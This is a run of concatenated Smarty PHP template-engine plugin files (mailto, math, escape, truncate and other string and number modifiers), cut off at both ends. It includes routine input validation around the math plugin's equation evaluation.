    $string = '<a href="mailto:' . htmlspecialchars($address, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401, Smarty::$_CHARSET) .
        '" ' . $extra . '>' . htmlspecialchars($text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401, Smarty::$_CHARSET) . '</a>';

    if ($encode === 'javascript') {
        $js_encode = '';
        for ($x = 0, $_length = strlen($string); $x < $_length; $x++) {
            $js_encode .= '%' . bin2hex($string[ $x ]);
        }
        return '<script type="text/javascript">document.write(unescape(\'' . $js_encode . '\'))</script>';
    } elseif ($encode === 'javascript_charcode') {
        for ($x = 0, $_length = strlen($string); $x < $_length; $x++) {
            $ord[] = ord($string[ $x ]);
        }
        return '<script type="text/javascript">document.write(String.fromCharCode(' . implode(',', $ord) . '))</script>';
    } elseif ($encode === 'hex') {
        preg_match('!^(.*)(\?.*)$!', $address, $match);
        if (!empty($match[ 2 ])) {
            trigger_error("mailto: hex encoding does not work with extra attributes. Try javascript.", E_USER_WARNING);
            return;
        }
        $address_encode = '';
        for ($x = 0, $_length = strlen($address); $x < $_length; $x++) {
            if (preg_match('!\w!' . Smarty::$_UTF8_MODIFIER, $address[ $x ])) {
                $address_encode .= '%' . bin2hex($address[ $x ]);
            } else {
                $address_encode .= $address[ $x ];
            }
        }
        $text_encode = '';
        for ($x = 0, $_length = strlen($text); $x < $_length; $x++) {
            $text_encode .= '&#x' . bin2hex($text[ $x ]) . ';';
        }
        $mailto = "&#109;&#97;&#105;&#108;&#116;&#111;&#58;";
        return '<a href="' . $mailto . $address_encode . '" ' . $extra . '>' . $text_encode . '</a>';
    } else {
        // no encoding
        return $string;
    }
}
<?php
/**
 * Smarty plugin
 * This plugin is only for Smarty2 BC
 *
 * @package    Smarty
 * @subpackage PluginsFunction
 */
/**
 * Smarty {math} function plugin
 * Type:     function
 * Name:     math
 * Purpose:  handle math computations in template
 *
 * @link   https://www.smarty.net/manual/en/language.function.math.php {math}
 *           (Smarty online manual)
 * @author Monte Ohrt <monte at ohrt dot com>
 *
 * @param array                    $params   parameters
 * @param Smarty_Internal_Template $template template object
 *
 * @return string|null
 */
function smarty_function_math($params, $template)
{
    static $_allowed_funcs =
        array(
            'int'   => true,
            'abs'   => true,
            'ceil'  => true,
            'acos'   => true,
            'acosh'   => true,
            'cos'   => true,
            'cosh'   => true,
            'deg2rad'   => true,
            'rad2deg'   => true,
            'exp'   => true,
            'floor' => true,
            'log'   => true,
            'log10' => true,
            'max'   => true,
            'min'   => true,
            'pi'    => true,
            'pow'   => true,
            'rand'  => true,
            'round' => true,
            'asin'   => true,
            'asinh'   => true,
            'sin'   => true,
            'sinh'   => true,
            'sqrt'  => true,
            'srand' => true,
            'atan'   => true,
            'atanh'   => true,
            'tan'   => true,
            'tanh'   => true
        );

    // be sure equation parameter is present
    if (empty($params[ 'equation' ])) {
        trigger_error("math: missing equation parameter", E_USER_WARNING);
        return;
    }
    $equation = $params[ 'equation' ];

    // Remove whitespaces
    $equation = preg_replace('/\s+/', '', $equation);

    // Adapted from https://www.php.net/manual/en/function.eval.php#107377
    $number = '-?(?:\d+(?:[,.]\d+)?|pi|π)'; // What is a number
    $functionsOrVars = '((?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*))';
    $operators = '[,+\/*\^%-]'; // Allowed math operators
    $regexp = '/^(('.$number.'|'.$functionsOrVars.'|('.$functionsOrVars.'\s*\((?1)*\)|\((?1)*\)))(?:'.$operators.'(?1))?)+$/';

    if (!preg_match($regexp, $equation)) {
        trigger_error("math: illegal characters", E_USER_WARNING);
        return;
    }

    // make sure parenthesis are balanced
    if (substr_count($equation, '(') !== substr_count($equation, ')')) {
        trigger_error("math: unbalanced parenthesis", E_USER_WARNING);
        return;
    }

    // disallow backticks
    if (strpos($equation, '`') !== false) {
        trigger_error("math: backtick character not allowed in equation", E_USER_WARNING);
        return;
    }

    // also disallow dollar signs
    if (strpos($equation, '$') !== false) {
        trigger_error("math: dollar signs not allowed in equation", E_USER_WARNING);
        return;
    }
    foreach ($params as $key => $val) {
        if ($key !== 'equation' && $key !== 'format' && $key !== 'assign') {
            // make sure value is not empty
            if (strlen($val) === 0) {
                trigger_error("math: parameter '{$key}' is empty", E_USER_WARNING);
                return;
            }
            if (!is_numeric($val)) {
                trigger_error("math: parameter '{$key}' is not numeric", E_USER_WARNING);
                return;
            }
        }
    }
    // match all vars in equation, make sure all are passed
    preg_match_all('!(?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)!', $equation, $match);
    foreach ($match[ 1 ] as $curr_var) {
        if ($curr_var && !isset($params[ $curr_var ]) && !isset($_allowed_funcs[ $curr_var ])) {
            trigger_error(
                "math: function call '{$curr_var}' not allowed, or missing parameter '{$curr_var}'",
                E_USER_WARNING
            );
            return;
        }
    }
    foreach ($params as $key => $val) {
        if ($key !== 'equation' && $key !== 'format' && $key !== 'assign') {
            $equation = preg_replace("/\b$key\b/", " \$params['$key'] ", $equation);
        }
    }
    $smarty_math_result = null;
    eval("\$smarty_math_result = " . $equation . ";");

    if (empty($params[ 'format' ])) {
        if (empty($params[ 'assign' ])) {
            return $smarty_math_result;
        } else {
            $template->assign($params[ 'assign' ], $smarty_math_result);
        }
    } else {
        if (empty($params[ 'assign' ])) {
            printf($params[ 'format' ], $smarty_math_result);
        } else {
            $template->assign($params[ 'assign' ], sprintf($params[ 'format' ], $smarty_math_result));
        }
    }
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifier
 */
/**
 * Smarty capitalize modifier plugin
 * Type:     modifier
 * Name:     capitalize
 * Purpose:  capitalize words in the string
 * {@internal {$string|capitalize:true:true} is the fastest option for MBString enabled systems }}
 *
 * @param string  $string    string to capitalize
 * @param boolean $uc_digits also capitalize "x123" to "X123"
 * @param boolean $lc_rest   capitalize first letters, lowercase all following letters "aAa" to "Aaa"
 *
 * @return string capitalized string
 * @author Monte Ohrt <monte at ohrt dot com>
 * @author Rodney Rehm
 */
function smarty_modifier_capitalize($string, $uc_digits = false, $lc_rest = false)
{
    $string = (string) $string;

    if (Smarty::$_MBSTRING) {
        if ($lc_rest) {
            // uppercase (including hyphenated words)
            $upper_string = mb_convert_case($string, MB_CASE_TITLE, Smarty::$_CHARSET);
        } else {
            // uppercase word breaks
            $upper_string = preg_replace_callback(
                "!(^|[^\p{L}'])([\p{Ll}])!S" . Smarty::$_UTF8_MODIFIER,
                'smarty_mod_cap_mbconvert_cb',
                $string
            );
        }
        // check uc_digits case
        if (!$uc_digits) {
            if (preg_match_all(
                "!\b([\p{L}]*[\p{N}]+[\p{L}]*)\b!" . Smarty::$_UTF8_MODIFIER,
                $string,
                $matches,
                PREG_OFFSET_CAPTURE
            )
            ) {
                foreach ($matches[ 1 ] as $match) {
                    $upper_string =
                        substr_replace(
                            $upper_string,
                            mb_strtolower($match[ 0 ], Smarty::$_CHARSET),
                            $match[ 1 ],
                            strlen($match[ 0 ])
                        );
                }
            }
        }
        $upper_string =
            preg_replace_callback(
                "!((^|\s)['\"])(\w)!" . Smarty::$_UTF8_MODIFIER,
                'smarty_mod_cap_mbconvert2_cb',
                $upper_string
            );
        return $upper_string;
    }
    // lowercase first
    if ($lc_rest) {
        $string = strtolower($string);
    }
    // uppercase (including hyphenated words)
    $upper_string =
        preg_replace_callback(
            "!(^|[^\p{L}'])([\p{Ll}])!S" . Smarty::$_UTF8_MODIFIER,
            'smarty_mod_cap_ucfirst_cb',
            $string
        );
    // check uc_digits case
    if (!$uc_digits) {
        if (preg_match_all(
            "!\b([\p{L}]*[\p{N}]+[\p{L}]*)\b!" . Smarty::$_UTF8_MODIFIER,
            $string,
            $matches,
            PREG_OFFSET_CAPTURE
        )
        ) {
            foreach ($matches[ 1 ] as $match) {
                $upper_string =
                    substr_replace($upper_string, strtolower($match[ 0 ]), $match[ 1 ], strlen($match[ 0 ]));
            }
        }
    }
    $upper_string = preg_replace_callback(
        "!((^|\s)['\"])(\w)!" . Smarty::$_UTF8_MODIFIER,
        'smarty_mod_cap_ucfirst2_cb',
        $upper_string
    );
    return $upper_string;
}

/**
 *
 * Bug: create_function() use exhausts memory when used in long loops
 * Fix: use declared functions for callbacks instead of using create_function()
 * Note: This can be fixed using anonymous functions instead, but that requires PHP >= 5.3
 *
 * @author Kyle Renfrow
 */
/**
 * @param $matches
 *
 * @return string
 */
function smarty_mod_cap_mbconvert_cb($matches)
{
    return stripslashes($matches[ 1 ]) . mb_convert_case(stripslashes($matches[ 2 ]), MB_CASE_UPPER, Smarty::$_CHARSET);
}

/**
 * @param $matches
 *
 * @return string
 */
function smarty_mod_cap_mbconvert2_cb($matches)
{
    return stripslashes($matches[ 1 ]) . mb_convert_case(stripslashes($matches[ 3 ]), MB_CASE_UPPER, Smarty::$_CHARSET);
}

/**
 * @param $matches
 *
 * @return string
 */
function smarty_mod_cap_ucfirst_cb($matches)
{
    return stripslashes($matches[ 1 ]) . ucfirst(stripslashes($matches[ 2 ]));
}

/**
 * @param $matches
 *
 * @return string
 */
function smarty_mod_cap_ucfirst2_cb($matches)
{
    return stripslashes($matches[ 1 ]) . ucfirst(stripslashes($matches[ 3 ]));
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifier
 */
/**
 * Smarty count modifier plugin
 * Type:     modifier
 * Name:     count
 * Purpose:  counts all elements in an array or in a Countable object
 * Input:
 *          - Countable|array: array or object to count
 *          - mode: int defaults to 0 for normal count mode, if set to 1 counts recursive
  *
 * @param mixed $arrayOrObject  input array/object
 * @param int $mode       count mode
 *
 * @return int
 */
function smarty_modifier_count($arrayOrObject, $mode = 0)
{
    /*
     * @see https://www.php.net/count
     * > Prior to PHP 8.0.0, if the parameter was neither an array nor an object that implements the Countable interface,
     * > 1 would be returned, unless value was null, in which case 0 would be returned.
     */

    if ($arrayOrObject instanceof Countable || is_array($arrayOrObject)) {
        return count($arrayOrObject, (int) $mode);
    } elseif ($arrayOrObject === null) {
        return 0;
    }
    return 1;
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifier
 */
/**
 * Smarty date_format modifier plugin
 * Type:     modifier
 * Name:     date_format
 * Purpose:  format datestamps via strftime
 * Input:
 *          - string: input date string
 *          - format: strftime format for output
 *          - default_date: default date if $string is empty
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.date.format.php date_format (Smarty online manual)
 * @author Monte Ohrt <monte at ohrt dot com>
 *
 * @param string $string       input date string
 * @param string $format       strftime format for output
 * @param string $default_date default date if $string is empty
 * @param string $formatter    either 'strftime' or 'auto'
 *
 * @return string |void
 * @uses   smarty_make_timestamp()
 */
function smarty_modifier_date_format($string, $format = null, $default_date = '', $formatter = 'auto')
{
    if ($format === null) {
        $format = Smarty::$_DATE_FORMAT;
    }
    /**
     * require_once the {@link shared.make_timestamp.php} plugin
     */
    static $is_loaded = false;
    if (!$is_loaded) {
        if (!is_callable('smarty_make_timestamp')) {
            include_once SMARTY_PLUGINS_DIR . 'shared.make_timestamp.php';
        }
        $is_loaded = true;
    }
    if (!empty($string) && $string !== '0000-00-00' && $string !== '0000-00-00 00:00:00') {
        $timestamp = smarty_make_timestamp($string);
    } elseif (!empty($default_date)) {
        $timestamp = smarty_make_timestamp($default_date);
    } else {
        return;
    }
    if ($formatter === 'strftime' || ($formatter === 'auto' && strpos($format, '%') !== false)) {
        if (Smarty::$_IS_WINDOWS) {
            $_win_from = array(
                '%D',
                '%h',
                '%n',
                '%r',
                '%R',
                '%t',
                '%T'
            );
            $_win_to = array(
                '%m/%d/%y',
                '%b',
                "\n",
                '%I:%M:%S %p',
                '%H:%M',
                "\t",
                '%H:%M:%S'
            );
            if (strpos($format, '%e') !== false) {
                $_win_from[] = '%e';
                $_win_to[] = sprintf('%\' 2d', date('j', $timestamp));
            }
            if (strpos($format, '%l') !== false) {
                $_win_from[] = '%l';
                $_win_to[] = sprintf('%\' 2d', date('h', $timestamp));
            }
            $format = str_replace($_win_from, $_win_to, $format);
        }
        // @ to suppress deprecation errors when running in PHP8.1 or higher.
        return @strftime($format, $timestamp);
    } else {
        return date($format, $timestamp);
    }
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage Debug
 */
/**
 * Smarty debug_print_var modifier plugin
 * Type:     modifier
 * Name:     debug_print_var
 * Purpose:  formats variable contents for display in the console
 *
 * @author Monte Ohrt <monte at ohrt dot com>
 *
 * @param array|object $var     variable to be formatted
 * @param int          $max     maximum recursion depth if $var is an array or object
 * @param int          $length  maximum string length if $var is a string
 * @param int          $depth   actual recursion depth
 * @param array        $objects processed objects in actual depth to prevent recursive object processing
 *
 * @return string
 */
function smarty_modifier_debug_print_var($var, $max = 10, $length = 40, $depth = 0, $objects = array())
{
    $_replace = array("\n" => '\n', "\r" => '\r', "\t" => '\t');
    switch (gettype($var)) {
        case 'array':
            $results = '<b>Array (' . count($var) . ')</b>';
            if ($depth === $max) {
                break;
            }
            foreach ($var as $curr_key => $curr_val) {
                $results .= '<br>' . str_repeat('&nbsp;', $depth * 2) . '<b>' . strtr($curr_key, $_replace) .
                            '</b> =&gt; ' .
                            smarty_modifier_debug_print_var($curr_val, $max, $length, ++$depth, $objects);
                $depth--;
            }
            break;
        case 'object':
            $object_vars = get_object_vars($var);
            $results = '<b>' . get_class($var) . ' Object (' . count($object_vars) . ')</b>';
            if (in_array($var, $objects)) {
                $results .= ' called recursive';
                break;
            }
            if ($depth === $max) {
                break;
            }
            $objects[] = $var;
            foreach ($object_vars as $curr_key => $curr_val) {
                $results .= '<br>' . str_repeat('&nbsp;', $depth * 2) . '<b> -&gt;' . strtr($curr_key, $_replace) .
                            '</b> = ' . smarty_modifier_debug_print_var($curr_val, $max, $length, ++$depth, $objects);
                $depth--;
            }
            break;
        case 'boolean':
        case 'NULL':
        case 'resource':
            if (true === $var) {
                $results = 'true';
            } elseif (false === $var) {
                $results = 'false';
            } elseif (null === $var) {
                $results = 'null';
            } else {
                $results = htmlspecialchars((string)$var);
            }
            $results = '<i>' . $results . '</i>';
            break;
        case 'integer':
        case 'float':
            $results = htmlspecialchars((string)$var);
            break;
        case 'string':
            $results = strtr($var, $_replace);
            if (Smarty::$_MBSTRING) {
                if (mb_strlen($var, Smarty::$_CHARSET) > $length) {
                    $results = mb_substr($var, 0, $length - 3, Smarty::$_CHARSET) . '...';
                }
            } else {
                if (isset($var[ $length ])) {
                    $results = substr($var, 0, $length - 3) . '...';
                }
            }
            $results = htmlspecialchars('"' . $results . '"', ENT_QUOTES, Smarty::$_CHARSET);
            break;
        case 'unknown type':
        default:
            $results = strtr((string)$var, $_replace);
            if (Smarty::$_MBSTRING) {
                if (mb_strlen($results, Smarty::$_CHARSET) > $length) {
                    $results = mb_substr($results, 0, $length - 3, Smarty::$_CHARSET) . '...';
                }
            } else {
                if (strlen($results) > $length) {
                    $results = substr($results, 0, $length - 3) . '...';
                }
            }
            $results = htmlspecialchars($results, ENT_QUOTES, Smarty::$_CHARSET);
    }
    return $results;
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifier
 */
/**
 * Smarty escape modifier plugin
 * Type:     modifier
 * Name:     escape
 * Purpose:  escape string for output
 *
 * @link   https://www.smarty.net/docs/en/language.modifier.escape
 * @author Monte Ohrt <monte at ohrt dot com>
 *
 * @param string  $string        input string
 * @param string  $esc_type      escape type
 * @param string  $char_set      character set, used for htmlspecialchars() or htmlentities()
 * @param boolean $double_encode encode already encoded entitites again, used for htmlspecialchars() or htmlentities()
 *
 * @return string escaped input string
 */
function smarty_modifier_escape($string, $esc_type = 'html', $char_set = null, $double_encode = true)
{
    static $is_loaded_1 = false;
    static $is_loaded_2 = false;
    if (!$char_set) {
        $char_set = Smarty::$_CHARSET;
    }

    $string = (string)$string;

    switch ($esc_type) {
        case 'html':
            return htmlspecialchars($string, ENT_QUOTES, $char_set, $double_encode);
        // no break
        case 'htmlall':
            if (Smarty::$_MBSTRING) {
                $string = mb_convert_encoding($string, 'UTF-8', $char_set);
                return htmlentities($string, ENT_QUOTES, 'UTF-8', $double_encode);
            }
            // no MBString fallback
            return htmlentities($string, ENT_QUOTES, $char_set, $double_encode);
        // no break
        case 'url':
            return rawurlencode($string);
        case 'urlpathinfo':
            return str_replace('%2F', '/', rawurlencode($string));
        case 'quotes':
            // escape unescaped single quotes
            return preg_replace("%(?<!\\\\)'%", "\\'", $string);
        case 'hex':
            // escape every byte into hex
            // Note that the UTF-8 encoded character ä will be represented as %c3%a4
            $return = '';
            $_length = strlen($string);
            for ($x = 0; $x < $_length; $x++) {
                $return .= '%' . bin2hex($string[ $x ]);
            }
            return $return;
        case 'hexentity':
            $return = '';
            if (Smarty::$_MBSTRING) {
                if (!$is_loaded_1) {
                    if (!is_callable('smarty_mb_to_unicode')) {
                        include_once SMARTY_PLUGINS_DIR . 'shared.mb_unicode.php';
                    }
                    $is_loaded_1 = true;
                }
                $return = '';
                foreach (smarty_mb_to_unicode($string, Smarty::$_CHARSET) as $unicode) {
                    $return .= '&#x' . strtoupper(dechex($unicode)) . ';';
                }
                return $return;
            }
            // no MBString fallback
            $_length = strlen($string);
            for ($x = 0; $x < $_length; $x++) {
                $return .= '&#x' . bin2hex($string[ $x ]) . ';';
            }
            return $return;
        case 'decentity':
            $return = '';
            if (Smarty::$_MBSTRING) {
                if (!$is_loaded_1) {
                    if (!is_callable('smarty_mb_to_unicode')) {
                        include_once SMARTY_PLUGINS_DIR . 'shared.mb_unicode.php';
                    }
                    $is_loaded_1 = true;
                }
                $return = '';
                foreach (smarty_mb_to_unicode($string, Smarty::$_CHARSET) as $unicode) {
                    $return .= '&#' . $unicode . ';';
                }
                return $return;
            }
            // no MBString fallback
            $_length = strlen($string);
            for ($x = 0; $x < $_length; $x++) {
                $return .= '&#' . ord($string[ $x ]) . ';';
            }
            return $return;
        case 'javascript':
            // escape quotes and backslashes, newlines, etc.
            return strtr(
                $string,
                array(
                    '\\' => '\\\\',
                    "'"  => "\\'",
                    '"'  => '\\"',
                    "\r" => '\\r',
                    "\n" => '\\n',
                    '</' => '<\/',
                    // see https://html.spec.whatwg.org/multipage/scripting.html#restrictions-for-contents-of-script-elements
                    '<!--' => '<\!--',
                    '<s'   => '<\s',
                    '<S'   => '<\S',
	                "`" => "\\\\`",
	                "\${" => "\\\\\\$\\{"
                )
            );
        case 'mail':
            if (Smarty::$_MBSTRING) {
                if (!$is_loaded_2) {
                    if (!is_callable('smarty_mb_str_replace')) {
                        include_once SMARTY_PLUGINS_DIR . 'shared.mb_str_replace.php';
                    }
                    $is_loaded_2 = true;
                }
                return smarty_mb_str_replace(
                    array(
                        '@',
                        '.'
                    ),
                    array(
                        ' [AT] ',
                        ' [DOT] '
                    ),
                    $string
                );
            }
            // no MBString fallback
            return str_replace(
                array(
                    '@',
                    '.'
                ),
                array(
                    ' [AT] ',
                    ' [DOT] '
                ),
                $string
            );
        case 'nonstd':
            // escape non-standard chars, such as ms document quotes
            $return = '';
            if (Smarty::$_MBSTRING) {
                if (!$is_loaded_1) {
                    if (!is_callable('smarty_mb_to_unicode')) {
                        include_once SMARTY_PLUGINS_DIR . 'shared.mb_unicode.php';
                    }
                    $is_loaded_1 = true;
                }
                foreach (smarty_mb_to_unicode($string, Smarty::$_CHARSET) as $unicode) {
                    if ($unicode >= 126) {
                        $return .= '&#' . $unicode . ';';
                    } else {
                        $return .= chr($unicode);
                    }
                }
                return $return;
            }
            $_length = strlen($string);
            for ($_i = 0; $_i < $_length; $_i++) {
                $_ord = ord(substr($string, $_i, 1));
                // non-standard char, escape it
                if ($_ord >= 126) {
                    $return .= '&#' . $_ord . ';';
                } else {
                    $return .= substr($string, $_i, 1);
                }
            }
            return $return;
        default:
            trigger_error("escape: unsupported type: $esc_type - returning unmodified string", E_USER_NOTICE);
            return $string;
    }
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifier
 */

/**
 * Smarty explode modifier plugin
 * Type:     modifier
 * Name:     explode
 * Purpose:  split a string by a string
 *
 * @param string   $separator
 * @param string   $string
 * @param int|null $limit
 *
 * @return array
 */
function smarty_modifier_explode($separator, $string, ?int $limit = null)
{
    // provide $string default to prevent deprecation errors in PHP >=8.1
    return explode($separator, $string ?? '', $limit ?? PHP_INT_MAX);
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifier
 */

function smarty_modifier_implode($values, $separator = '')
{
	if (is_array($separator)) {
		return implode((string) ($values ?? ''), (array) $separator);
	}
	return implode((string) ($separator ?? ''), (array) $values);
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifier
 */
/**
 * Smarty wordwrap modifier plugin
 * Type:     modifier
 * Name:     mb_wordwrap
 * Purpose:  Wrap a string to a given number of characters
 *
 * @link   https://php.net/manual/en/function.wordwrap.php for similarity
 *
 * @param string  $str   the string to wrap
 * @param int     $width the width of the output
 * @param string  $break the character used to break the line
 * @param boolean $cut   ignored parameter, just for the sake of
 *
 * @return string  wrapped string
 * @author Rodney Rehm
 */
function smarty_modifier_mb_wordwrap($str, $width = 75, $break = "\n", $cut = false)
{
    // break words into tokens using white space as a delimiter
    $tokens = preg_split('!(\s)!S' . Smarty::$_UTF8_MODIFIER, $str, -1, PREG_SPLIT_NO_EMPTY + PREG_SPLIT_DELIM_CAPTURE);
    $length = 0;
    $t = '';
    $_previous = false;
    $_space = false;
    foreach ($tokens as $_token) {
        $token_length = mb_strlen($_token, Smarty::$_CHARSET);
        $_tokens = array($_token);
        if ($token_length > $width) {
            if ($cut) {
                $_tokens = preg_split(
                    '!(.{' . $width . '})!S' . Smarty::$_UTF8_MODIFIER,
                    $_token,
                    -1,
                    PREG_SPLIT_NO_EMPTY + PREG_SPLIT_DELIM_CAPTURE
                );
            }
        }
        foreach ($_tokens as $token) {
            $_space = !!preg_match('!^\s$!S' . Smarty::$_UTF8_MODIFIER, $token);
            $token_length = mb_strlen($token, Smarty::$_CHARSET);
            $length += $token_length;
            if ($length > $width) {
                // remove space before inserted break
                if ($_previous) {
                    $t = mb_substr($t, 0, -1, Smarty::$_CHARSET);
                }
                if (!$_space) {
                    // add the break before the token
                    if (!empty($t)) {
                        $t .= $break;
                    }
                    $length = $token_length;
                }
            } elseif ($token === "\n") {
                // hard break must reset counters
                $length = 0;
            }
            $_previous = $_space;
            // add the token
            $t .= $token;
        }
    }
    return $t;
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifier
 */

/**
 * Smarty number_format modifier plugin
 * Type:     modifier
 * Name:     number_format
 * Purpose:  Format a number with grouped thousands
 *
 * @param float|null  $num
 * @param int         $decimals
 * @param string|null $decimal_separator
 * @param string|null $thousands_separator
 *
 * @return string
 */
function smarty_modifier_number_format(?float $num, int $decimals = 0, ?string $decimal_separator = ".", ?string $thousands_separator = ",")
{
    // provide $num default to prevent deprecation errors in PHP >=8.1
    return number_format($num ?? 0.0, $decimals, $decimal_separator, $thousands_separator);
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifier
 */
/**
 * Smarty regex_replace modifier plugin
 * Type:     modifier
 * Name:     regex_replace
 * Purpose:  regular expression search/replace
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.regex.replace.php
 *          regex_replace (Smarty online manual)
 * @author Monte Ohrt <monte at ohrt dot com>
 *
 * @param string       $string  input string
 * @param string|array $search  regular expression(s) to search for
 * @param string|array $replace string(s) that should be replaced
 * @param int          $limit   the maximum number of replacements
 *
 * @return string
 */
function smarty_modifier_regex_replace($string, $search, $replace, $limit = -1)
{
    if (is_array($search)) {
        foreach ($search as $idx => $s) {
            $search[ $idx ] = _smarty_regex_replace_check($s);
        }
    } else {
        $search = _smarty_regex_replace_check($search);
    }
    return preg_replace($search, $replace, $string, $limit);
}

/**
 * @param  string $search string(s) that should be replaced
 *
 * @return string
 * @ignore
 */
function _smarty_regex_replace_check($search)
{
    // null-byte injection detection
    // anything behind the first null-byte is ignored
    if (($pos = strpos($search, "\0")) !== false) {
        $search = substr($search, 0, $pos);
    }
    // remove eval-modifier from $search
    if (preg_match('!([a-zA-Z\s]+)$!s', $search, $match) && (strpos($match[ 1 ], 'e') !== false)) {
        $search = substr($search, 0, -strlen($match[ 1 ])) . preg_replace('![e\s]+!', '', $match[ 1 ]);
    }
    return $search;
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifier
 */
/**
 * Smarty replace modifier plugin
 * Type:     modifier
 * Name:     replace
 * Purpose:  simple search/replace
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.replace.php replace (Smarty online manual)
 * @author Monte Ohrt <monte at ohrt dot com>
 * @author Uwe Tews
 *
 * @param string $string  input string
 * @param string $search  text to search for
 * @param string $replace replacement text
 *
 * @return string
 */
function smarty_modifier_replace($string, $search, $replace)
{
    static $is_loaded = false;
    if (Smarty::$_MBSTRING) {
        if (!$is_loaded) {
            if (!is_callable('smarty_mb_str_replace')) {
                include_once SMARTY_PLUGINS_DIR . 'shared.mb_str_replace.php';
            }
            $is_loaded = true;
        }
        return smarty_mb_str_replace($search, $replace, $string);
    }
    return str_replace($search, $replace, $string);
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifier
 */
/**
 * Smarty spacify modifier plugin
 * Type:     modifier
 * Name:     spacify
 * Purpose:  add spaces between characters in a string
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.spacify.php spacify (Smarty online manual)
 * @author Monte Ohrt <monte at ohrt dot com>
 *
 * @param string $string       input string
 * @param string $spacify_char string to insert between characters.
 *
 * @return string
 */
function smarty_modifier_spacify($string, $spacify_char = ' ')
{
    // well… what about charsets besides latin and UTF-8?
    return implode($spacify_char, preg_split('//' . Smarty::$_UTF8_MODIFIER, $string, -1, PREG_SPLIT_NO_EMPTY));
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifier
 */
/**
 * Smarty truncate modifier plugin
 * Type:     modifier
 * Name:     truncate
 * Purpose:  Truncate a string to a certain length if necessary,
 *               optionally splitting in the middle of a word, and
 *               appending the $etc string or inserting $etc into the middle.
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.truncate.php truncate (Smarty online manual)
 * @author Monte Ohrt <monte at ohrt dot com>
 *
 * @param string  $string      input string
 * @param integer $length      length of truncated text
 * @param string  $etc         end string
 * @param boolean $break_words truncate at word boundary
 * @param boolean $middle      truncate in the middle of text
 *
 * @return string truncated string
 */
function smarty_modifier_truncate($string, $length = 80, $etc = '...', $break_words = false, $middle = false)
{
    if ($length === 0 || $string === null) {
        return '';
    }
    if (Smarty::$_MBSTRING) {
        if (mb_strlen($string, Smarty::$_CHARSET) > $length) {
            $length -= min($length, mb_strlen($etc, Smarty::$_CHARSET));
            if (!$break_words && !$middle) {
                $string = preg_replace(
                    '/\s+?(\S+)?$/' . Smarty::$_UTF8_MODIFIER,
                    '',
                    mb_substr($string, 0, $length + 1, Smarty::$_CHARSET)
                );
            }
            if (!$middle) {
                return mb_substr($string, 0, $length, Smarty::$_CHARSET) . $etc;
            }
            return mb_substr($string, 0, intval($length / 2), Smarty::$_CHARSET) . $etc .
                   mb_substr($string, -intval($length / 2), $length, Smarty::$_CHARSET);
        }
        return $string;
    }
    // no MBString fallback
    if (isset($string[ $length ])) {
        $length -= min($length, strlen($etc));
        if (!$break_words && !$middle) {
            $string = preg_replace('/\s+?(\S+)?$/', '', substr($string, 0, $length + 1));
        }
        if (!$middle) {
            return substr($string, 0, $length) . $etc;
        }
        return substr($string, 0, intval($length / 2)) . $etc . substr($string, -intval($length / 2));
    }
    return $string;
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty cat modifier plugin
 * Type:     modifier
 * Name:     cat
 * Date:     Feb 24, 2003
 * Purpose:  catenate a value to a variable
 * Input:    string to catenate
 * Example:  {$var|cat:"foo"}
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.cat.php cat
 *           (Smarty online manual)
 * @author Uwe Tews
 *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_cat($params)
{
    return '(' . implode(').(', $params) . ')';
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty count_characters modifier plugin
 * Type:     modifier
 * Name:     count_characters
 * Purpose:  count the number of characters in a text
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.count.characters.php count_characters (Smarty online
 *         manual)
 * @author Uwe Tews
 *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_count_characters($params)
{
    if (!isset($params[ 1 ]) || $params[ 1 ] !== 'true') {
        return 'preg_match_all(\'/[^\s]/' . Smarty::$_UTF8_MODIFIER . '\',' . $params[ 0 ] . ', $tmp)';
    }
    if (Smarty::$_MBSTRING) {
        return 'mb_strlen((string) ' . $params[ 0 ] . ', \'' . addslashes(Smarty::$_CHARSET) . '\')';
    }
    // no MBString fallback
    return 'strlen((string) ' . $params[ 0 ] . ')';
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty count_paragraphs modifier plugin
 * Type:     modifier
 * Name:     count_paragraphs
 * Purpose:  count the number of paragraphs in a text
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.count.paragraphs.php
 *          count_paragraphs (Smarty online manual)
 * @author Uwe Tews
 *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
